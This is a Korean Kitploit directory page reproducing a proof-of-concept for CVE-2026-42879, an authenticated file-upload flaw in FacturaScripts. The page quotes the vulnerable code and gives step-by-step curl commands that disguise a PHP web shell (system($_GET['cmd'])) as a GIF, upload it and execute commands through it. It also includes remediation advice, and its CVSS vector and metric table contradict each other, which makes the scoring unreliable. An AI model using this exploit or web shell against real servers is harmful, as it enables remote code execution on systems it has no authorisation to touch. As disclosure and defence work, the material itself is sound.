Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/guzrex/cve-2026-42879
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubguzrex/cve-2026-42879

CVE-2026-42879

FacturaScripts RCE 익스플로잇 - 개념 증명

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42879 - FacturaScripts - 인증된 사용자의 MIME 타입 우회를 통한 무제한 파일 업로드

요약

FacturaScripts의 제품 이미지 업로드 기능에 인증된 사용자의 무제한 파일 업로드 취약점이 존재합니다. 유효한 자격 증명을 가진 공격자는 GIF89a 헤더를 사용하여 PHP 파일을 GIF 이미지로 위장해 업로드함으로써 MIME 타입 검증을 우회할 수 있습니다. 파일은 원래 확장자(.php와 같은 실행 가능한 확장자 포함)로 저장됩니다.


세부 정보

취약점은 다음 위치에 존재합니다:

Core/Lib/ExtendedController/ProductImagesTrait.php

구체적으로는 addImageAction() 메서드에 있습니다.

취약한 코드

root@kitploit:~
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());

근본 원인

  • 검증은 MIME 타입에 "image/"가 포함되어 있는지만 확인합니다.
  • PHP 파일 앞에 GIF89a 매직 바이트를 추가하면 우회할 수 있습니다.
  • 시스템은 파일을 image/gif로 잘못 식별합니다.
  • 파일은 웹에서 접근 가능한 디렉토리에 .php 확장자로 저장됩니다.

파일 저장 동작

업로드된 파일은 다음 위치에 저장됩니다:

root@kitploit:~
/MyFiles/YYYY/MM/X.php

여기서 X는 자동 증가 ID입니다. 이를 통해 직접 원격 실행이 가능합니다:

root@kitploit:~
http://target/MyFiles/2026/03/2.php?cmd=id

영향

성공적인 악용 시 다음이 가능합니다:

공격자는 실행 가능한 확장자(예: .php)를 가진 파일을 서버에 업로드할 수 있으며, 서버 구성에 따라 추가 악용으로 이어질 수 있습니다.


개념 증명 (수동)

1단계: 악성 파일 생성

root@kitploit:~
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

2단계: 인증

  • 애플리케이션에 로그인합니다.
  • 브라우저 쿠키에서 PHPSESSID를 추출합니다.

3단계: CSRF 토큰 획득

root@kitploit:~
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

4단계: 셸 업로드

root@kitploit:~
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

5단계: 명령 실행

root@kitploit:~
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 기본 점수: 6.3 (보통)

메트릭값
공격 벡터네트워크 (AV:N)
공격 복잡성낮음 (AC:L)
필요한 권한낮음 (PR:L)
사용자 상호작용없음 (UI:N)
범위변경됨 (S:C)
기밀성높음 (C:H)
무결성높음 (I:H)
가용성높음 (A:H)

CWE

  • CWE-434: 위험한 유형의 파일 무제한 업로드

영향을 받는 제품

필드값
생태계Packagist
CVE IDCVE-2026-42879
패키지 이름facturascripts/facturascripts
영향을 받는 버전<= 2025.81
패치된 버전아직 패치되지 않음
수정 버전대기 중

수정 권장 사항

  1. 파일 확장자 검증 — MIME 타입과 관계없이 파일 이름이 .php, .phtml, .phar 또는 기타 실행 가능한 확장자로 끝나는 업로드를 거부합니다.
  2. 서버에서 파일 이름 재생성 — getClientOriginalName()을 사용하지 말고 검증된 확장자를 가진 안전한 UUID 기반 이름을 할당합니다.
  3. 웹 루트 외부에 업로드 저장 — 콘텐츠를 스트리밍하는 컨트롤러를 통해 파일을 제공하여 직접 URL 실행을 방지합니다.
  4. 파일 타입 라이브러리 사용 — 클라이언트가 제공한 MIME을 신뢰하는 대신 fileinfo와 같은 라이브러리로 실제 파일 콘텐츠(매직 바이트 + 확장자 + MIME 타입)를 검증합니다.

크레딧

  • 발견자: Abdullah Alwasabei / Guzrex
도구 다운로드